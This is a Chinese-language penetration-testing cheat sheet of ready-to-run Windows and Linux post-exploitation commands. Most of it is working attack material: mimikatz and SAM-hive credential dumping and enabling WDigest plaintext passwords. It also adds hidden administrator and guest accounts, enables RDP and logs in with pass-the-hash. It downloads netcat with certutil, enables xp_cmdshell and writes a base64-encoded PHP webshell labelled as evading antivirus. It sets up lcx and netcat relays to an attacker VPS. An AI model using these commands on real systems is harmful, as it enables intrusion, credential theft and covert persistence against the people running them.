Windows命令 获取操作系统信息: 查看系统版本和补丁信息: systeminfo 识别操作系统名称及版本(英文): systeminfo | findstr /B /C:"OS Name" /c:"OS Version" 识别操作系统名称及版本(中文): systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 识别系统体系结构: echo %PROCESSOR_ARCHITECTURE% AMD64 获取用户信息: 查看当前用户: whoami 查看计算机用户列表: net user 查看计算机用户组列表: net localgroup 查看当前登录用户: query user 查看当前用户保存的凭证: cmdkey /list 查看当前用户保存的票据凭证: klist 获取网络信息: 查看路由信息 : route print 查看arp : arp -A 查看ip地址和dns信息: ipconfig /all 查看防火墙规则: netsh firewall show config 查看当前防火墙状态: netsh firewall show state 查看系统开放端口: netstat -ano 获取应用程序及服务信息: 查看计划任务: schtasks /query /fo LIST /v 查看安装驱动: driverquery 查看安装程序和版本信息: wmic product list brief 查看服务: wmic service list brief 查看进程: wmic process list brief 查看启动程序信息: wmic startup list brief 查看3389端口: for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq TermService" /NH') do netstat -ano | findstr %i | findstr LISTENING Win设置终端代理: set http_proxy=http://127.0.0.1:7890 & set https_proxy=http://127.0.0.1:7890 查看.msi程序的执行权限: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 查看是否设置setuid、setgid: reg HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits 查看安装补丁和时间信息: wmic qfe get Caption,Description,HotFixID,InstalledOn 查看特定漏洞补丁信息: wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxxx" 查看系统进程: tasklist /svc 列出详细进程: tasklist /V /FO CSV 获取敏感数据和目录: 搜索D盘磁盘名字为logo.jpg的文件: cd /d D:\ && dir /b /s logo.jpg 搜素C盘文件夹下后缀conf内容有password: findstr /s /i /n /d:C:\ "password" *.conf 查找密码文件或其他敏感文件: dir /b/s password.txt dir /b/s .doc dir /b/s .ppt dir /b/s .xls dir /b/s .docx dir /b/s .xlsx dir /b/s config.* findstr /si password .xml .ini .txt findstr /si login .xml .ini .txt 查看无人值守安装文件,文件位置如下: C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml 添加用户: 添加用户并设置密码: net user mstlab tools /add 将用户加入管理组: net localgroup administrators tools /add 将用户加入桌面组: net localgroup "Remote Desktop Users" tools /add 激活guest用户: net user guest /active:yes 更改guest用户的密码: net user guest 123456 将guest用户加入管理组: net localgoup administrators guest /add 注册表相关: 查看3389端口: REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 开启远程桌面: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 注册表抓取明文: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f rdp连接默认的10个记录: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" rdp连接默认的所有记录: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s 查找软件安装目录: reg query HKLM /f foxmail /t REG_SZ /s mimikatz查看当前密码: mimikatz查看当前密码: mimikatz "log" "privilege:debug" "sekurlsa:logonpasswords" "exit" mimikatz抓取domain密码: mimikatz "lsadump::dcsync /domain:test.com /all /csv" "exit" reg导出注册表hash: reg save hklm\sam c:\programdata\sam.hive && reg save hklm\system c:\programdata\system.hive mimikatz读取注册表导出的hash信息: mimikatz "log" "lsadump::sam /sam:sam.hive /system:system.hive" "exit" impacket包的secretsdump: secretsdump.exe -sam sam.hive -system system.hive LOCAL nmap扫描永恒之蓝漏洞: nmap -p445 --script smb-vuln-ms17-010 127.0.0.1 meterpreter把目标的3389端口转发到vps的6666端口: portfwd add -l 6666 -p 3389 -r 127.0.0.1 attrib创建隐藏文件: attrib +s +h +r *.exe .net静默安装: dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackage FullX64Bootstrapper lcx端口转发: 本地监听: lcx.exe -listen 110 34567目标执行: lcx.exe -slave vpsip 110 127.0.0.1 3389 扫描web.txt文件的网站标题: 本地监听: whatweb -i web.txt -p Title whatweb Win终端设置代理: 本地监听: set http_proxy=socks5://127.0.0.1:1080 && set https_proxy=socks5://127.0.0.1:1080 xfreerdp hash连接rdp: xfreerdp /u:administrator /pth:ccef208c6485269c20db2cad21734fe7 /v:10.20.24.100 /cert-ignore //server 2012 runas运行其它账户权限的程序: runas /user:hostname\username /sa "cmd.exe" 系统下载文件: certutil下载文件: certutil -urlcache -split -f http://192.168.5.21:888/nc.txt c:\nc.txt certutil删除记录: certutil -urlcache -split -f http://192.168.1.115/robots.txt delete bitsadmin下载文件: bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\Pstools.zip Wmic命令: wmic远程连接机器: wmic /node:"192.168.1.20" /user:"domain\administrator" /password:"123456" 查看系统安装软件: wmic product get name,version 查看系统版本: wmic OS get Caption,CSDVersion,OSArchitecture,Version 根据Pid查找进程路径: wmic process get name,executablepath,processid|findstr pid 查看磁盘信息: Wmic logicaldisk 查看组、hostname等信息: wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list Mssql环境: mssql开启xp_cmdshell: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; mssql输出文件: exec master..xp_cmdshell '>>c:\windows\temp\info.txt set /p="base64_encode" oa.txt 编码字符base64然后echo输出logo.php再进行解码: echo -n "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4+" | base64 -d > logo.php //可绕过杀软拦截关键字 端口转发: LCX: lcx - cx -listen 4567 33891 #Attacker lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets SSH: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port mknod: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) 隧道: ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig